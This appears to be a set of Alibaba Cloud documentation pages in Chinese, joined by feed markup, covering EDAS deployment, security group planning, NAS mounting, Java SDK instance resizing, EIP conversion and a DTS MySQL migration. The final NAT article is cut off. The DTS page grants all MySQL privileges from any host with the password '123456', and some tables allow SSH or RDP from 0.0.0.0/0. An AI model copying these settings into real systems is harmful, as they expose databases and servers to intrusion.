        edas-AppDeploy-ECS-createAPP.png

        应用基本信息参数说明:

        参数 描述
        命名空间 命名空间操作步骤:在左侧列表中选择地域,在右侧列表中选择命名空间。如果未选择命名空间,则使用默认命名空间。
        集群类型 集群类型:在左侧列表中选择 ECS 集群,在右侧列表中选择一个具体的 ECS 集群。
        应用部署方式 应用部署方式类型:选择 ECS 集群后,您可以选择 WAR 包部署JAR 包部署
        应用运行环境 应用运行环境类型
        • WAR 包部署
          • 如果创建 Spring Cloud 或 Dubbo 应用,请选择 Apache Tomcat
          • 如果创建 HSF 应用,请选择 EDAS-Container
        • JAR 包部署
          • 如果创建 Spring Cloud 或 Dubbo 应用,请选择 标准 Java 应用运行环境
          • 如果创建 HSF 应用,请选择 EDAS-Container
        Java 环境 Java环境类型:选择 Open JDK 8Open JDK 7
        应用描述(可选) 应用描述:填写应用的基本情况,输入的描述信息不超过 128 个字符。
        创建空应用 创建空应用:创建一个未包含实例和程序部署包的应用。此后,需要在空应用中进行部署,详情请参见部署和更新应用

      6. 应用配置页面,按照页面指示添加实例,完成后单击确认创建
        1. 选择实例来源

          在 ECS 集群中,您可以通过三种实例来源添加实例。

          • 从集群选择:单击选定实例列表右侧的新增按钮,在弹出的实例列表页面中选择应用所在集群内的空闲实例,单击 > 添加到右侧区域,然后单击确定
          • 基于现有实例规格创建
            1. 单击模板主机右侧的选择主机按钮。
            2. 在弹出的选择模板主机对话框中选择集群内的任一实例作为模板,选择回收模式,然后在对话框右下角单击确定
            3. 应用配置页签内,配置实例的登录密钥购买数量,并勾选《云服务器 ECS 服务条款》和《镜像商品使用条款》。
          • 使用启动模板创建

            1. 单击启动模板右侧的选择模板按钮。
            2. 在弹出的选择启动模板对话框内选择实例的创建模板和模板版本,并选择回收模式,然后在对话框右下角单击确定
            3. 应用配置页签内,配置实例的购买数量,并勾选**《云服务器 ECS 服务条款》 | 《镜像商品使用条款》**。

          说明 若您没有选择实例,单击创建空应用可以创建一个未包含实例和部署包的应用,后续可以通过扩容后再进行部署。详情请参见扩容部署在 ECS 集群中的应用部署和更新应用

        2. 在添加实例后,打开是否立即部署开关,设置部署参数,然后单击确认创建

          是否立即部署

          部署参数说明:

          参数 描述
          文件上传方式 文件上传方式:选择上传 WAR 包WAR 包地址
          • 上传 WAR 包:单击选择文件,选择并上传要进行部署的 WAR 包。
          • WAR 包地址:复制 WAR 包的存放地址,将该地址粘贴在 WAR 包地址栏中。
          版本 版本设置:设置版本号(如:1.1.0),不建议用时间戳作为版本号。
          应用健康检查(可选) 设置应用健康检查的 URL:应用的健康会在容器启动后/运行时检查应用的状态是否正常,会根据应用的健康检查结果来执行服务路由。设置参考示例为 http://127.0.0.1:8080/_etc.html。

          说明 应用部署程序包名仅允许字母、数字,及中划线“-” 、下划线“_”两个特殊符号,同时选择部署版本支持 JAR 部署时才允许上传 JAR 包,否则只支持 WAR 包部署应用。

        应用创建需要几分钟,请您耐心等待。创建完成后可以前往应用详情页查看应用。在应用详情页中实例部署信息页签查看实例的运行状态。如果运行状态/时间为正常运行,说明应用发布成功。

      部署和更新应用

      1. 登录 EDAS 控制台
      2. 在左侧导航栏中选择应用管理 > 应用列表
      3. 应用列表页面单击具体应用名称。
      4. 在应用的基本信息页面单击实例部署信息,查看应用是否有可用的实例。如果没有可运行的实例,请单击应用扩容为应用添加至少一个实例。详情请参见扩容部署在 ECS 集群中的应用
      5. 基本信息页面右上角单击部署应用
      6. 部署模式选择页面常规发布(单批/多批)区域右上角单击开始部署
      7. 常规发布(单批/多批)页面设置部署参数和发布策略,然后单击确定

        部署应用

        部署和发布策略参数说明:

        参数 参数信息 描述
        基本信息 应用部署方式 应用部署方式选择:您只能选择创建应用或上一次部署时指定的部署方式,也可以选择历史版本来进行部署。
        文件上传方式 文件上传方式:选择上传 WAR 包WAR 包地址
        • 上传 WAR 包:单击选择文件,选择并上传要进行部署的 WAR 包。
        • WAR 包地址:复制 WAR 包的存放地址,将该地址粘贴在 WAR 包地址栏中。
        版本 版本设置:设置版本号(如:1.1.0),不建议用时间戳作为版本号。
        描述(可选) 应用描述:描述此次发布的目的,限制在 128 字符以内。描述可以为空。
        发布策略 分组 分组选择:选择部署应用的实例分组。
        每组批次 选择每组的实例分几批发布。例如:该应用包含默认分组 A(2个实例),分组 B(10个实例)和分组 C(5个实例)。
        • 如果每组批次为 1,分批等待时间为自动,不可设置。
        • 如果每组批次为 2 及以上,可以设置分批等待时间。
        分批等待时间 每批实例发布的时间间隔。
        • 场景 1:选择所有分组,每组批次以各分组中最多的实例个数作为最大批次,即分组 B,10 批次。
        • 场景 2:选择指定分组 C,每组批次最大为分组 C 下 ECS 实例的个数,也就是 5 批次。
        Java 环境(可选) Java 环境选择:您可选择 JRE 8JRE 7
        生成 Maven 插件配置 您可生成 Maven 插件配置,然后将应用部署至 EDAS。具体部署详情请参见通过 Maven 插件自动化部署应用至 ECS 集群

        说明 应用部署程序包名仅允许字母、数字,及中划线“-” 、下划线“_”两个特殊符号,同时选择部署版本支持 JAR 部署时才允许上传 JAR 包,否则只支持 WAR 包部署应用。

        应用在重新部署后,会跳转到变更详情页面,查看部署流程和执行日志。部署流程执行完成后,执行状态变为执行成功则表示部署成功。

      配置公网负载均衡并访问应用

      由于是在专有网络内创建发布的应用,如果没有特别配置,该应用没有公网 IP 地址。如果您的应用部署在多个 ECS 实例上,并且希望将您的应用对外开放,建议您配置公网负载均衡,以便将应用的访问流量根据转发策略分发到 ECS 实例中,增强应用的服务能力,提升应用的可用性。

      1. 基本信息页面的应用设置区域,单击负载均衡(公网)右侧的添加
      2. 添加 SLB 与应用的绑定对话框中,设置负载均衡参数,然后单击配置负载均衡完成配置。create SLB

        负载均衡参数说明:

        参数 描述
        负载均衡(公网) 在右侧的下拉菜单中,根据实际需求,选择内网或公网的 SLB 地址。
        使用虚拟服务器组 虚拟服务器组是一组处理负载均衡分发的前端请求的 ECS 实例。不同的监听可以关联不同的虚拟服务器组,实现监听维度的请求转发。如果您勾选了使用虚拟服务器组,则需要配置虚拟服务器组参数。
        虚拟服务器组名称 如果您选择了新建虚拟服务器组,则需要在此处输入虚拟服务器组名称。系统会按照您输入的名称为您创建虚拟服务器组。
        监听(外网) 负载均衡服务监听规定了如何将请求转发给后端服务器。一个负载均衡实例至少添加一个监听。您可以在监听右侧的下拉菜单中选择已创建的监听端口。如果您没有创建监听,单击创建新监听。请勿在服务均衡管理控制台上删除该监听,否则将影响应用访问。
        SLB 前端协议 默认为 TCP,不可配置。
        SLB 前端端口 输入 SLB 的前端端口,可自行设置端口数值。
        应用端口 默认为 8080,不可配置。
      3. 复制配置的 SLB IP 及端口,如118.31.159.169:81 ,在浏览器的地址中粘贴并回车,即可进入应用的欢迎页面。edas-hello-app.png

      ]]> ECS安全组实践(三)_安全_最佳实践_云服务器 ECS-阿里云 Fri, 02 May 2025 09:39:04 +0800 ECS安全组实践(三)

      更新时间:2020-03-16 14:53:52

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      在安全组的使用过程中,通常会将所有的云服务器放置在同一个安全组中,从而可以减少初期配置的工作量。但从长远来看,业务系统网络的交互将变得复杂和不可控。在执行安全组变更时,您将无法明确添加和删除规则的影响范围。

      背景信息

      合理规划和区分不同的安全组将使您的系统更加便于调整,梳理应用提供的服务并对不同应用进行分层。这里推荐您对不同的业务规划不同的安全组,并设置不同的安全组规则。

      区分不同的安全组

      • 公网服务的云服务器和内网服务器尽量属于不同的安全组

        是否对外提供公网服务,包括主动暴露某些端口对外访问(例如80、443 等),被动地提供端口转发规则(例如云服务器具有公网IP、EIP、NAT端口转发规则等),都会导致自己的应用可能被公网访问到。

        2种场景的云服务器所属的安全组规则要采用最严格的规则,建议拒绝优先,默认情况下应当关闭所有的端口和协议,仅仅暴露对外提供需要服务的端口,例如80、443。由于仅对属于对外公网访问的服务器编组,调整安全组规则时也比较容易控制。

        对于对外提供服务器编组的职责应该比较清晰和简单,避免在同样的服务器上对外提供其它的服务。例如MySQL、Redis等,建议将这些服务安装在没有公网访问权限的云服务器上,然后通过安全组的组组授权来访问。

        如果当前有公网云服务器已经和其它的应用在同一个安全组SG_CURRENT。您可以通过下面的方法来进行变更。

        1. 梳理当前提供的公网服务暴露的端口和协议,例如80、443。
        2. 创建一个安全组,例如SG_WEB, 然后添加相应的端口和规则。具体操作,请参见创建安全组
          • 授权策略:允许
          • 协议类型:ALL
          • 端口:80/80和443/443
          • 授权对象:0.0.0.0/0
        3. 选择安全组SG_CURRENT, 然后添加一条安全组规则,组组授权,允许SG_WEB中的资源访问SG_CURRENT。具体操作,请参见添加安全组规则
          • 授权策略:允许
          • 协议类型:ALL
          • 端口:-1/-1
          • 授权对象:SG_WEB
          • 优先级:按照实际情况自定义[1-100]
        4. 将一台需要切换安全组的实例ECS_WEB_1添加到新的安全组中。
          1. 登录ECS管理控制台
          2. 在左侧导航栏,选择网络与安全 > 安全组
          3. 找到安全组SG_WEB,在操作列下单击管理实例
          4. 单击添加实例
          5. 在弹出的对话框中,选择实例ECS_WEB_1加入到新的安全组SG_WEB中,并单击确定。确认ECS_WEB_1实例的流量和网络工作正常。
        5. 将ECS_WEB_1从原来的安全组中移出。
          1. 登录ECS管理控制台
          2. 在左侧导航栏,选择网络与安全 > 安全组
          3. 找到安全组SG_CURRENT,在操作列下单击管理实例
          4. 选中需要移出安全组的实例ECS_WEB_1,单击移出安全组
          5. 在弹出的对话框中,单击确定
          6. 测试网络连通性,确认流量和网络工作正常。

            如果工作不正常,将ECS_WEB_1仍然加回到安全组SG_CURRENT中,检查设置的SG_WEB暴露的端口是否符合预期,然后继续变更。

        6. 执行其它的服务器安全组变更。

      • 不同的应用使用不同的安全组

        在生产环境中,不同的操作系统大多情况下不会属于同一个应用分组来提供负载均衡服务。提供不同的服务意味着需要暴露的端口和拒绝的端口是不同的,建议不同的操作系统尽量归属于不同的安全组。

        例如,对于Linux操作系统,可能需要暴露TCP(22)端口来实现SSH,对Windows可能需要开通TCP(3389)远程桌面连接。

        除了不同的操作系统归属不同的安全组,即便同一个镜像类型,提供不同的服务,如果之间不需要通过内网进行访问,建议也划归不同的安全组。这样方便解耦,并对未来的安全组规则进行变更,做到职责单一。

        在规划和新增应用时,除了考虑划分不同的虚拟交换机配置子网,同时也应该合理地规划安全组。使用网段+安全组约束自己作为服务提供者和消费者的边界。

        具体的变更流程请参见上面的操作步骤。

      • 生产环境和测试环境使用不同的安全组

        为了更好的做系统的隔离,在实际开发过程中,您可能会构建多套的测试环境和一套线上环境。为了更合理地做网络隔离,您需要对不同的环境配置使用不同的安全策略,避免因为测试环境的变更刷新到线上,从而影响线上的稳定性。

        通过创建不同的安全组,限制应用的访问域,避免生产环境和测试环境联通。同时也可以对不同的测试环境分配不同的安全组,避免多套测试环境之间互相干扰,提升开发效率。

      仅对需要公网访问的云服务器分配公网IP

      不论是经典网络还是专有网络(VPC)中,合理地分配公网IP可以让系统更加方便地进行公网管理,同时减少系统受攻击的风险。在专有网络的场景下,创建虚拟交换机时,建议您尽量将需要公网访问的服务区的IP区间放在固定的几个交换机(子网 CIDR)中,方便审计和区分,避免不小心暴露公网访问。

      在分布式应用中,大多数应用都有不同的分层和分组,对于不提供公网访问的云服务器尽量不提供公网IP,如果是有多台服务器提供公网访问,建议您配置公网流量分发的负载均衡服务来公网服务,提升系统的可用性,避免单点。详情请参见负载均衡服务

      对于不需要公网访问的云服务器尽量不要分配公网IP。专有网络中当您的云服务器需要访问公网的时候,优先建议您使用NAT网关,用于为VPC内无公网IP的ECS实例提供访问互联网的代理服务,您只需要配置相应的SNAT规则即可为具体的CIDR网段或者子网提供公网访问能力,避免因为只需要访问公网的能力而在分配了公网IP(EIP)之后也向公网暴露了服务。具体配置,请参见SNAT

      最小原则

      安全组应该是白名单性质的,所以需尽量开放和暴露最少的端口,同时尽可能少地分配公网IP。若想访问线上机器进行任务日志或错误排查的时候直接分配公网IP,挂载EIP虽然简便,但是会将整个机器暴露在公网之上,更安全的策略是通过跳板机来管理。

      使用跳板机

      跳板机由于其自身的权限巨大,除了通过工具做好审计记录。在专有网络中,建议将跳板机分配在专有的虚拟交换机之中,对其提供相应的EIP或者NAT端口转发表。

      首先创建专有的安全组SG_BRIDGE,例如开放相应的端口,例如 Linux TCP(22)或者Windows RDP(3389)。为了限制安全组的入网规则,可以限制能登录的授权对象为企业的公网出口范围,减少被登录和扫描的概率。

      然后将作为跳板机的云服务器加入到该安全组中。为了让该机器能访问相应的云服务器,可以配置相应的组授权。例如在SG_CURRENT添加一条规则允许SG_BRIDGE访问某些端口和协议。

      使用跳板机SSH时,建议您优先使用SSH密钥对登录。详情请参见SSH密钥对

      总之,合理的安全组规划使您在扩容应用时更加游刃有余,同时让您的系统更加安全。

      ]]> 新购ECS时挂载NAS文件系统_挂载文件系统_用户指南_文件存储-阿里云 Fri, 02 May 2025 09:39:04 +0800 新购ECS时挂载NAS文件系统

      更新时间:2020-04-28 10:10:17

      本页目录

      本文档介绍如何在购买ECS时完成对NAS文件系统的挂载配置。

      前提条件

      已创建文件系统,详情请参见创建文件系统

      背景信息

      在完成创建NAS文件系统后,如要挂载NAS文件系统,最简单的方式就是购买一台新的ECS实例,并在购买过程中配置挂载NAS文件系统。本章节主要介绍配置挂载NAS文件系统的过程,关于如何创建ECS实例,详情请参见创建ECS实例。在配置挂载NAS文件系统时,可以挂载单个文件系统,也可以挂载多个文件系统(不超过五个)。

      配置挂载单个NAS文件系统

      1. 登录ECS管理控制台
      2. 创建实例页面,重要配置说明如下所示:

        • 地域及可用区:选择NAS文件系统所在的地域。尽可能选择NAS所在的可用区,以便优化性能体验。
        • 实例:在部分地域可以选择ECS的网络类型,请选择专有网络;其它参数内容请根据业务需要选择。
        • 镜像:请根据业务需要选择。Linux镜像推荐选择CentOS 7.6;Windows镜像推荐选择2019数据中心版。
        • 存储:单击NAS存储,选择增加文件存储进行配置。详情请参考以下图例:ECS挂载NAS

          图例中的配置参数请参见以下表格:
          图例标识 配置参数 配置内容
          第3项 文件系统ID
          • Linux镜像仅支持选择NFS协议的文件系统。
          • Windows镜像仅支持选择SMB协议的文件系统。
          第4项 挂载地址
          • 用于NAS和ECS间的网络连通,需要和ECS属于同一专有网络VPC。
          • 如无选项,请为当前文件系统添加挂载点,详情请参见添加挂载点
          第5项 挂载路径 从ECS上访问NAS的本地路径,
          • Linux镜像可以填/mnt
          • Windows镜像可以填Z
          第6项 协议类型
          • NFS文件系统可以选择NFSv3协议或NFSv4.0协议(对于多数不需要文件锁的用户,推荐使用NFSv3协议)。
          • SMB文件系统选择SMB即可。

      配置挂载多个文件系统

      如果要在新的ECS实例上挂载多个NAS文件系统,继续单击增加文件存储进行配置即可。并注意以下几点配置:

      • 挂载地址:
        • 所有的挂载地址必须属于同一个专有网络VPC。
        • 如果没有同属于一个VPC的挂载地址,可以为NAS添加挂载点来匹配已选的VPC,详情请参见添加挂载点
      • 挂载路径:
        • 每条配置填写的挂载路径不能重复。
        • 对于Linux镜像,路径可以嵌套,例如:/mnt/mnt/sub

      说明 如果需要配置的挂载信息超过五条,请提交工单

      功能限制

      目前,新购ECS挂载NAS的配置有以下限制:

      • 镜像:仅支持ECS官方自营镜像配置挂载NAS;暂不支持通过ECS快照创建的自定义镜像。
      • 挂载目录:仅支持挂载NAS文件系统的根目录;不支持配置挂载NAS子目录。

      说明 如果目前的ECS配置挂载NAS功能无法满足业务需要,请在ECS创建后,手动挂载NAS文件系统。详情请参见手动挂载NAS文件系统

      检查挂载结果

      购买ECS成功后,NAS会自动完成挂载。下次重启ECS时,NAS也会自动挂载。可以通过以下方式来查看挂载结果:

      • Linux镜像的ECS

        连接ECS实例后,执行df -h命令,即可查看挂载的NAS文件系统信息。Linux_ECS在输出结果中,

        • Used为实际使用的当前容量。
        • Size为文件系统的最大容量。计费与最大容量无关。

        说明 自动挂载配置保存在/etc/fstab。可以根据需要修改挂载路径,详情请参见自动挂载NFS文件系统

      • Windows镜像的ECS

        连接ECS实例后,打开文件资源管理器,即可看到SMB文件系统作为网络磁盘挂载成功。Windows_ECS

        说明 自动挂载配置保存在c:ProgramDataMicrosoftWindowsStart MenuProgramsStartUpmy_mount.bat,可以根据实际需要修改。

      ]]> 变更ECS实例规格_Java示例_SDK示例_云服务器 ECS-阿里云 Fri, 02 May 2025 09:39:04 +0800 变更ECS实例规格

      更新时间:2020-02-12 11:23:47

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      本文通过阿里云ECS Java SDK调用ModifyInstanceSpec变更一台按量付费ECS实例的实例规格,调用ModifyPrepayInstanceSpec变更一台包年包月ECS实例的实例规格。

      前提条件

      变更ECS实例规格时,您需要注意:
      • 按量付费实例不能处于欠费状态。
      • 包年包月实例不能处于过期状态。
      • 实例必须处于已停止(Stopped)状态。

      变更包年包月实例规格

      以下代码适用于在中国杭州地域下,通过调用ModifyPrepayInstanceSpec将一台包年包月ECS实例的实例规格变更为ecs.g5.large:

      import com.aliyuncs.DefaultAcsClient;
      import com.aliyuncs.IAcsClient;
      import com.aliyuncs.exceptions.ClientException;
      import com.aliyuncs.exceptions.ServerException;
      import com.aliyuncs.profile.DefaultProfile;
      import java.util.*;
      import com.aliyuncs.ecs.model.v20140526.*;
      
      public class ModifyPrepayInstanceSpec {
      
          public static void main(String[] args) {
              // 创建并初始化DefaultAcsClient实例。
              DefaultProfile profile = DefaultProfile.getProfile("cn-hangzhou", "<yourAccessKeyId>", "<yourAccessSecret>");
              IAcsClient client = new DefaultAcsClient(profile);
              // 创建API请求,并设置参数。
              ModifyPrepayInstanceSpecRequest request = new ModifyPrepayInstanceSpecRequest();
              request.setRegionId("cn-hangzhou");
              request.setInstanceId("i-bp1jd3uddaduyo8*****");
              // 设置新的实例规格,ModifyPrepayInstanceSpecRequest支持升级实例规格和降配实例规格。        
              request.setInstanceType("ecs.g5.large");
      
              try {
                  ModifyPrepayInstanceSpecResponse response = client.getAcsResponse(request);
                  logInfo(response.getOrderId());
              } catch (ServerException e) {
                  e.printStackTrace();
              } catch (ClientException e) {
                  System.out.println("ErrCode:" + e.getErrCode());
                  System.out.println("ErrMsg:" + e.getErrMsg());
                  System.out.println("RequestId:" + e.getRequestId());
              }
      
          }
          private static void logInfo(String message) {
              System.out.println(message);
          }
      }

      变更按量付费实例规格

      以下代码适用于在中国杭州地域下,通过调用ModifyInstanceSpec将一台按量付费ECS实例的实例规格变更为ecs.g5.large:

      import com.aliyuncs.DefaultAcsClient;
      import com.aliyuncs.IAcsClient;
      import com.aliyuncs.exceptions.ClientException;
      import com.aliyuncs.exceptions.ServerException;
      import com.aliyuncs.profile.DefaultProfile;
      import com.alibaba.fastjson.JSON;
      import java.util.*;
      import com.aliyuncs.ecs.model.v20140526.*;
      
      public class ModifyInstanceSpec {
      
          public static void main(String[] args) {
              // 创建并初始化DefaultAcsClient实例。
              DefaultProfile profile = DefaultProfile.getProfile("cn-hangzhou", "<yourAccessKeyId>", "<yourAccessSecret>");
              IAcsClient client = new DefaultAcsClient(profile);
              // 创建API请求,并设置参数。
              ModifyInstanceSpecRequest request = new ModifyInstanceSpecRequest();
              request.setRegionId("default");
              // 必须指定实例ID。
              request.setInstanceId("i-bp1gc5z6103qs2t40***");
              // 设置新的实例规格,ModifyInstanceSpecRequest支持升级实例规格和降配实例规格。
              request.setInstanceType("ecs.g5.large");
      
              try {
                  ModifyInstanceSpecResponse response = client.getAcsResponse(request);
                  System.out.println(JSON.toJSONString(response));
              } catch (ServerException e) {
                  e.printStackTrace();
              } catch (ClientException e) {
                  System.out.println("ErrCode:" + e.getErrCode());
                  System.out.println("ErrMsg:" + e.getErrMsg());
                  System.out.println("RequestId:" + e.getRequestId());
              }
      
          }
      }

      ]]> 专有网络ECS实例的固定公网IP转换为EIP_申请EIP_用户指南_弹性公网 IP-阿里云 Fri, 02 May 2025 09:39:04 +0800 专有网络ECS实例的固定公网IP转换为EIP

      更新时间:2020-03-10 11:26:24

       · 编辑者

      全部>

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      您可以将专有网络ECS实例的固定公网IP转换为弹性公网IP(EIP)。转换成功后,EIP可以随时与ECS实例解绑或绑定,提高管理公网IP的灵活性。

      前提条件

      您已经创建了ECS实例,并为ECS实例分配了固定公网IP。详细信息,请参见使用向导创建实例

      公网IP介绍

      如果需要ECS实例与互联网通信,就必须为ECS实例配置公网IP和公网带宽, 阿里云的公网IP有两种类型。

      • ECS固定公网IP

        当您在创建专有网络(VPC)类型的ECS实例时,可以选择使用系统分配的公网IP,该公网IP无法与ECS实例解绑,称之为ECS实例的固定公网IP。

      • EIP

        EIP是可以独立购买和持有的公网IP地址资源。目前,EIP可绑定到专有网络类型的ECS实例、专有网络类型的私网SLB实例、专有网络类型的辅助弹性网卡、NAT网关和高可用虚拟IP上,还可以使用共享带宽和共享流量包等网络产品,节约公网成本。

      无论是固定公网IP还是EIP,对外提供公网服务的能力是一样的,都是阿里巴巴优质的多线BGP网络。两者的最大区别为是否可以和ECS实例解绑。EIP可以随时从ECS实例上解绑,在需要时重新绑定;固定公网IP无法从ECS实例上解绑。

      转换限制

      要转换的ECS实例具有以下限制。

      • 计费方式为按量计费时,您的账号不能处于欠费状态。
      • 计费方式为包年包月时,到期前24小时内不支持转换操作。
      • 计费方式为包年包月时,公网带宽计费方式必须是按使用流量计费。按固定带宽计费的公网带宽可以先通过升降配变更计费方式后再转换为EIP。详细信息,请参见升降配方式汇总
      • 仅支持处于已停止(Stopped)或运行中(Running)的VPC类型的ECS实例。其他状态的VPC类型的ECS实例不支持转换操作。
      • 仅支持将固定公网IP转换为EIP,不支持其他转换。
      • 如果VPC类型的ECS实例有未生效的变更配置任务,不支持转换操作。

      转换说明

      转换前,请了解以下说明。

      • 转换过程不会影响VPC ECS实例的公网接入,不会造成网络闪断。
      • 转换过程中,公网IP地址可以保留。
      • 转换前后,公网带宽计费方式不变。
      • 专有网络类型的ECS实例的公网IP转换为EIP后,无法再转换回固定公网IP。
      • 转换后EIP将单独计费,单独产生账单。关于EIP计费,请参见计费概述您可以在费用中心通过费用账单 > 账单总览,选择导出弹性公网IP产品的消费记录。

      操作步骤

      1. 登录云服务器ECS管理控制台
      2. 在左侧导航栏,单击实例与镜像 > 实例
      3. 在顶部状态栏处,选择ECS实例的地域。
      4. 实例列表页面,找到目标ECS实例,单击操作列下的更多 > 网络和安全组 > 公网IP转换为弹性公网IP

        固定公网IP转换为EIP

      5. 在弹出的对话框中,单击确定
      6. 刷新实例列表。

        转换成功后,原来的公网IP地址会标注为弹性转换EIP成功

      ]]> ECS安全组配置案例_访问控制_专有网络 VPC-阿里云 Fri, 02 May 2025 09:39:04 +0800 ECS安全组配置案例

      更新时间:2019-10-31 17:27:34

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      当您创建专有网络类型的ECS实例时,可以使用系统提供的默认安全组规则,也可以选择VPC中已有的其它安全组。安全组是一种虚拟防火墙用来控制ECS实例的出站和入站流量。

      本文档介绍了常用的专有网络ECS实例的安全组设置。

      案例一:内网互通

      VPC类型的ECS实例互通分以下两种情况:

      • 同一VPC内的相同安全组下的ECS实例,默认互通。
      • 不同VPC内的ECS实例,无法互通。首先需要使用高速通道、VPN网关、云企业网等产品打通两个VPC之间的通信,然后确保两个VPC内的ECS实例的安全组规则允许互相访问,如下表所示。

        安全组规则 规则方向 授权策略 协议类型和端口范围 授权类型 授权对象
        VPC 1中的ECS实例的安全组配置 入方向 允许

        Windows: RDP

        3389/3389

        地址段访问

        要访问的VPC2中的ECS实例的私网IP。

        说明 如果允许任意ECS实例登录,填写0.0.0.0/0。

        入方向 允许

        Linux: SSH

        22/22

        地址段访问
        入方向 允许

        自定义TCP

        自定义

        地址段访问
        VPC 2中的ECS实例的安全组配置 入方向 允许

        Windows: RDP

        3389/3389

        地址段访问

        要访问的VPC1中的ECS实例的私网IP。

        说明 如果允许任意ECS实例登录,填写0.0.0.0/0。

        入方向 允许

        Linux: SSH

        22/22

        地址段访问
        入方向 允许

        自定义TCP

        自定义

        地址段访问

      案例二:拒绝特定IP或特定端口的访问

      您可以通过配置安全组拒绝特定IP或特定端口对专有网络ECS实例的访问,如下表所示。

      安全组规则 规则方向 授权策略 协议类型和端口范围 授权类型 授权对象
      拒绝特定IP地址段对ECS实例所有端口的入站访问 入方向 拒绝

      全部

      -1

      地址段访问

      要拒绝访问的IP地址段,如10.0.0.1/32。

      拒绝特定IP地址段对ECS实例TCP 22端口的入站访问 入方向 拒绝

      SSH(22)

      22/22

      地址段访问

      要拒绝访问的IP地址段,如10.0.0.1/32。

      案例三:只允许特定IP远程登录ECS

      如果您为VPC中的ECS实例配置了公网IP,如NAT网关、EIP等。您可以根据具体情况,添加如下安全组规则允许Windows远程登录或Linux SSH登录。

      安全组规则 规则方向 授权策略 协议类型和端口范围 授权类型 授权对象
      允许Windows远程登录 入方向 允许

      RDP

      3389/3389

      地址段访问

      允许登录ECS实例的指定IP地址。

      说明 如果允许任意公网IP登录ECS,填写0.0.0.0/0。

      允许Linux SSH登录 入方向 允许

      SSH

      22/22

      地址段访问

      允许登录ECS实例的指定IP地址。

      说明 如果允许任意公网IP登录ECS,填写0.0.0.0/0。

      案例四:允许从公网访问ECS实例部署的HTTP/HTTPS服务

      如果您在专有网络的ECS实例上部署了一个网站,通过EIP、NAT网关对外提供服务,您需要配置如下安全组规则允许用户从公网访问您的网站。

      安全组规则 规则方向 授权策略 协议类型和端口范围 授权类型 授权对象
      允许来自HTTP 80端口的入站访问 入方向 允许

      HTTP

      80/80

      地址段访问 0.0.0.0/0
      允许来自HTTPS 443端口的入站访问 入方向 允许

      HTTPS

      443/443

      地址段访问 0.0.0.0/0
      允许来自TCP 80端口的入站访问 入方向 允许

      TCP

      80/80

      地址段访问 0.0.0.0

      ]]> 本地自建数据库迁移到ECS_ECS自建数据库_迁移服务_云服务器 ECS-阿里云 Fri, 02 May 2025 09:39:04 +0800 本地自建数据库迁移到ECS

      更新时间:2019-09-26 13:56:22

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      数据传输服务(Data Transmission Service,简称DTS)是阿里云提供的支持RDBMS、NoSQL、OLAP等多种数据源之间数据交互的数据服务。本文以MySQL数据库为例,介绍如何配置DTS迁移任务,实现从本地自建数据库到ECS实例自建数据库间的数据迁移。

      前提条件

      • 创建ECS实例。具体操作步骤,请参见使用向导创建实例
      • 在ECS实例的安全组中放行MySQL监听的端口号。MySQL监听的默认端口号为3306。
      • 在ECS实例上安装MySQL数据库。
      • 为ECS实例上的MySQL数据库创建非root账号。

        例如,您可以运行以下命令为MySQL数据库创建名为dts、密码为123456的账号。

        grant all on *.*  to 'dts'@'%'  IDENTIFIED BY '123456';
      • 为本地MySQL数据库创建非root账号。

      背景信息

      DTS提供的数据迁移功能能够支持同异构数据源之间的数据迁移,同时提供了库表列三级映射、数据过滤多种ETL特性。您可以使用DTS进行零停机迁移,在迁移过程中,源数据库正常持续提供服务,最大程度降低迁移对业务的影响。DTS支持的数据库类型请参见数据迁移

      操作步骤

      1. 登录数据传输DTS控制台
      2. 在左侧导航栏,单击数据迁移
      3. 选择ECS实例所在地域,并单击创建迁移任务
      4. 配置迁移任务。
        1. 配置任务名称。

          您可以使用默认的名称或者自定义名称。

        2. 配置源库信息。

          DTS支持通过公网、VPN网关、专线及智能网关访问的自建数据库。本文以公网自建数据库为例介绍配置信息。其他类型数据库的迁移方案请参考DTS用户手册。

          参数名称 参数值
          实例类型 有公网IP的自建数据库。
          实例地区 本地数据库所在的地域。
          数据库类型 本地数据库的类型。本示例中,数据库类型为MySQL。
          主机名或IP地址 本地数据库所在主机的主机名或IP地址。
          端口 MySQL数据库监听的端口号。
          数据库账号 本地MySQL数据库的非root访问账号。

          说明 数据库账号必须填写非root账号,否则测试连接时会报错。

          数据库密码 非root账号对应的密码。

        3. 单击源库信息右下角的测试连接

          当返回的结果为测试通过时,表示源库连接正常。

        4. 配置目标库信息。

          参数名称 参数值
          实例类型 ECS上的自建数据库。
          实例地区 ECS实例所在地域。
          ECS实例ID ECS实例的实例ID。DTS 支持经典网络及专有网络的ECS实例。
          数据库类型 与本地自建数据库的类型相同。本示例中,数据库类型为MySQL。
          端口 MySQL数据库监听的端口号。
          数据库账号 ECS实例上MySQL数据库的非root账号。

          说明 数据库账号必须填写非root账号,否则测试连接时会报错。

          数据库密码 非root账号对应的密码。

        5. 单击目标库信息右下角的测试连接

          当返回的结果为测试通过时,表示目标库连接正常。

        6. 单击授权白名单并进入下一步
      5. 配置迁移类型及迁移对象。
        1. 配置迁移类型。

          • 业务零停机迁移,请选择:结构迁移+全量数据迁移+增量数据迁移。
          • 全量迁移,请选择:结构迁移+全量数据迁移。

        2. 配置迁移对象。

          迁移对象框中单击要迁移的数据库对象,如数据库、表或列,然后单击>添加到已选择对象框中。

          说明 默认情况下,数据库对象迁移到ECS自建MySQL实例后,对象名跟本地MySQL实例一致。如果迁移的数据库对象在源实例跟目标实例上名称不同,您需要使用DTS提供的对象名映射功能,详细信息请参见库表列映射

      6. 单击预检查并启动

        在迁移任务正式启动之前,会预检查连通性、权限及日志格式等。下图表示预检查成功通过。

        预检查通过后,您可以在迁移任务列表中查看迁移任务的迁移状态及进度。

      ]]> 为设置了DNAT IP映射的ECS实例统一公网出口IP_统一公网出口IP_最佳实践_NAT 网关-阿里云 Fri, 02 May 2025 09:39:04 +0800 为设置了DNAT IP映射的ECS实例统一公网出口IP

      更新时间:2020-03-13 23:18:21

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      统一ECS实例的公网出口IP,有利于您更高效的管理互联网业务。本文为您介绍如何为设置了DNAT IP映射的ECS实例统一公网出口IP。

      前提条件

